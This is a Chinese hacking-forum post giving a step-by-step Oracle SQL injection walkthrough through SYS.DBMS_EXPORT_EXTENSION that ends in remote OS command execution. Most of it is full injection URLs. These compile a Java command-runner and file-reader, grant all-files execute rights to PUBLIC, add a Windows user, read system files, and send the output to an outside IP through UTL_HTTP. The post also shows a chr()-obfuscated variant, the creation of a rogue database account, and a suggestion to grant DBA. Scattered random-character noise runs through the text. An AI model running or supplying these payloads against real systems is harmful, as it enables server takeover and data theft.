找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2532|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成   M' O" B  m+ f1 S6 O
( J& N3 H1 r. p$ s) @' V# f
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 0 U6 L; T' b/ T- x( V4 C# ]
的形式即可。(用" 'a'|| "是为了让语句返回true值)
3 A/ z( ~# m4 {1 z9 [2 p语句有点长,可能要用post提交。 % G# R( m, Q0 L2 u* X, M5 K% f: _
以下是各个步骤: 9 z# c. H% S4 o8 f
1.创建包
, L/ v# Z) k  k1 r( F% a/ h( H通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:! n3 X) ^/ N1 S( r
/xxx.jsp?id=1 and '1'<>'a'||(
4 i' P  `  L! P7 ^+ nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 \4 F3 }- _" L" Lcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(( Y5 f# _: ^6 B& V
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}( {, A: ]7 g3 U5 ]) q; h
}'''';END;'';END;--','SYS',0,'1',0) from dual 7 W! }8 S# V$ Q& L
) & s3 S3 e' H4 R+ }1 e
------------------------
% X: W% V: J! D4 K* d: b* Q- K如果url有长度限制,可以把readFile()函数块去掉,即: & q* S+ |* p, P& s/ O3 ?
/xxx.jsp?id=1 and '1'<>'a'||(
4 [$ E+ Q2 o. l4 B4 C% q2 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( a# G1 q2 u# C( E
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
: F/ P: Q" b9 m+ H6 \new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}7 }/ ?# Y$ R- B& D
}'''';END;'';END;--','SYS',0,'1',0) from dual % O4 v5 {0 {9 G7 n
) : d5 I+ }4 y+ D" h
同时把后面步骤 提到的 对readFile()的处理语句去掉。 , {" N9 R7 U# n% ^, [: P; T
------------------------------ 4 ~6 q% o/ V9 t4 i( o" _0 S
2.赋Java权限 0 W! {! |2 G4 I1 ^! `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual! \! b# J% b# ^0 c' u/ L7 S2 B
3.创建函数 # y/ j. Q7 d5 Q8 f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) d' y$ l5 M& U6 N' }7 e+ h! ~' `create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
: x  y5 k, O* s2 G8 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 O; M7 r" n, Y# X/ @4 ]create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
3 m4 Q7 `! i  W& w9 Q4.赋public执行函数的权限
# {  E/ a8 B/ Y. Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual1 g4 [2 q, K4 O- l/ M1 F' G5 w1 q- N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual1 {3 T# a2 w& G* U" R( J7 b7 `& c
5.测试上面的几步是否成功
- r  \( U2 l. F! u+ D% U- Eand '1'<>'11'||( $ t$ {# A+ |- M) f& g% ~
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
; y* ]4 y' o+ T) n% A) 6 j2 F5 ^6 a6 P9 z
and '1'<>( 7 b  o. z5 r4 `7 t3 G! Y6 Y, l* w
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
4 O6 T, Z% h- j) D! ?9 f. e)
" v/ V, O: o% e/ C  k/ P7 m6.执行命令:
* y* [" @. o+ H+ B/xxx.jsp?id=1 and '1'<>(
8 p3 l! x8 N, @select  sys.LinxRunCMD('cmd /c net user linx /add') from dual 1 e" r' B2 x+ e  s( G

. `/ E2 i; X7 F4 W)
; R0 t9 {- n% u9 ~! D" Q/ |/xxx.jsp?id=1 and '1'<>(
% X' b( M5 ~, g9 j! @! B% Zselect  sys.LinxReadFile('c:/boot.ini') from dual
* ^6 O* Q+ n) W# w0 I+ p/ U1 e( `7 z- A/ U' a3 W* L! @/ @% }
)
  ^" S, i: _  ?  R  
9 _$ @4 o! z0 _. n( q注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 $ W  k8 y8 [4 d) T. q. P, i. z
如果要查看运行结果可以用 union : , R( l+ N8 J/ N: e
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
8 `/ |) v, C- {6 J$ W+ y或者UTL_HTTP.request(: 8 U, G3 K& s+ K! _1 t  Q
/xxx.jsp?id=1 and '1'<>( 2 C5 P, L2 b* B2 r" l
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual6 p9 T8 s% Z. v4 S& D  I
) $ u7 B7 H( I7 X* w+ K$ n
/xxx.jsp?id=1 and '1'<>(
$ m, G$ K. s. N6 LSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual+ ?$ A5 }1 v* c! M$ n4 W' C
) 9 ?* T- w- Y" c: e2 K1 g
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。2 i8 `! x2 p7 o3 `7 v
-------------------- 8 K* n5 M$ f7 s) d, f. L
6.内部变化 ! H  \* \' Z2 Z. U! g& F
通过以下命令可以查看all_objects表达改变: 3 l" }  f' p" J5 W: f
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'6 R( i; w. Z; j: T* y
7.删除我们创建的函数
8 @% ?/ E0 i$ cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' r" S- v/ Z) udrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual 9 W) u3 t' u3 o, p4 F
==================================================== " `8 c- @+ M# G) e: g
全文结束。谨以此文赠与我的朋友。
& t& B: v# S$ w8 s  y) A, G; t) `linx
2 [" X2 l; }/ |/ W124829445
! q1 [( H* ^8 K2008.1.12 1 n$ z. o- p  C: o3 L3 g
linyujian@bjfu.edu.cn
, S! E8 S- T1 [5 [+ t======================================================================
9 K) o4 P/ U2 y( @" X测试漏洞的另一方法:
$ q8 t4 s9 x: U9 ?. |' w创建oracle帐号:
' J" m+ t6 o. Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; o. a* K7 a! s# Y2 t
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
7 B- f4 C2 ]& N9 z# H/ @即:
: X* z: B) E+ _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, f: \4 _9 w+ U, l; F
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
  A. X/ J% h# E0 a. D确定漏洞存在:
% k: i5 t) O2 j: f& x, s1<>(   p# t) p0 B, u; X
select user_id from all_users where username='LINXSQL' % \$ M8 O" o# n, k( |8 e- {3 ?
)
2 l/ B0 z* O! T. Q" p* R给linxsql连接权限:
! R9 C6 L" ]' W( C& Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 t  a3 u1 F& d9 HGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 6 S. Z  j0 B* A5 a
删除帐号:
3 ~6 K5 U+ o8 S  P) oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* a5 m/ e, V1 a, A' e1 p
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
: f% Q% V: t7 E8 t# j======================
5 ?9 Q9 g9 g/ f% g% D以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:, a0 ^& U: h: T; {: F0 f
1.jsp?id=1 and '1'<>( 5 |* G2 u7 P' y2 x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# {) r9 p3 Z6 i# X+ s. c3 R9 I4 N5 Hcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
* @( h7 S/ i6 O/ \& I4 R( E) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE& b; q6 G% }; R7 w. [
 )
  q* z$ @0 A. i! ^4 B" T
) q0 t4 M+ y+ ~6 C4 S5 O* D( p7 y. m" i
- {& _6 I# _$ f' D( N( B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表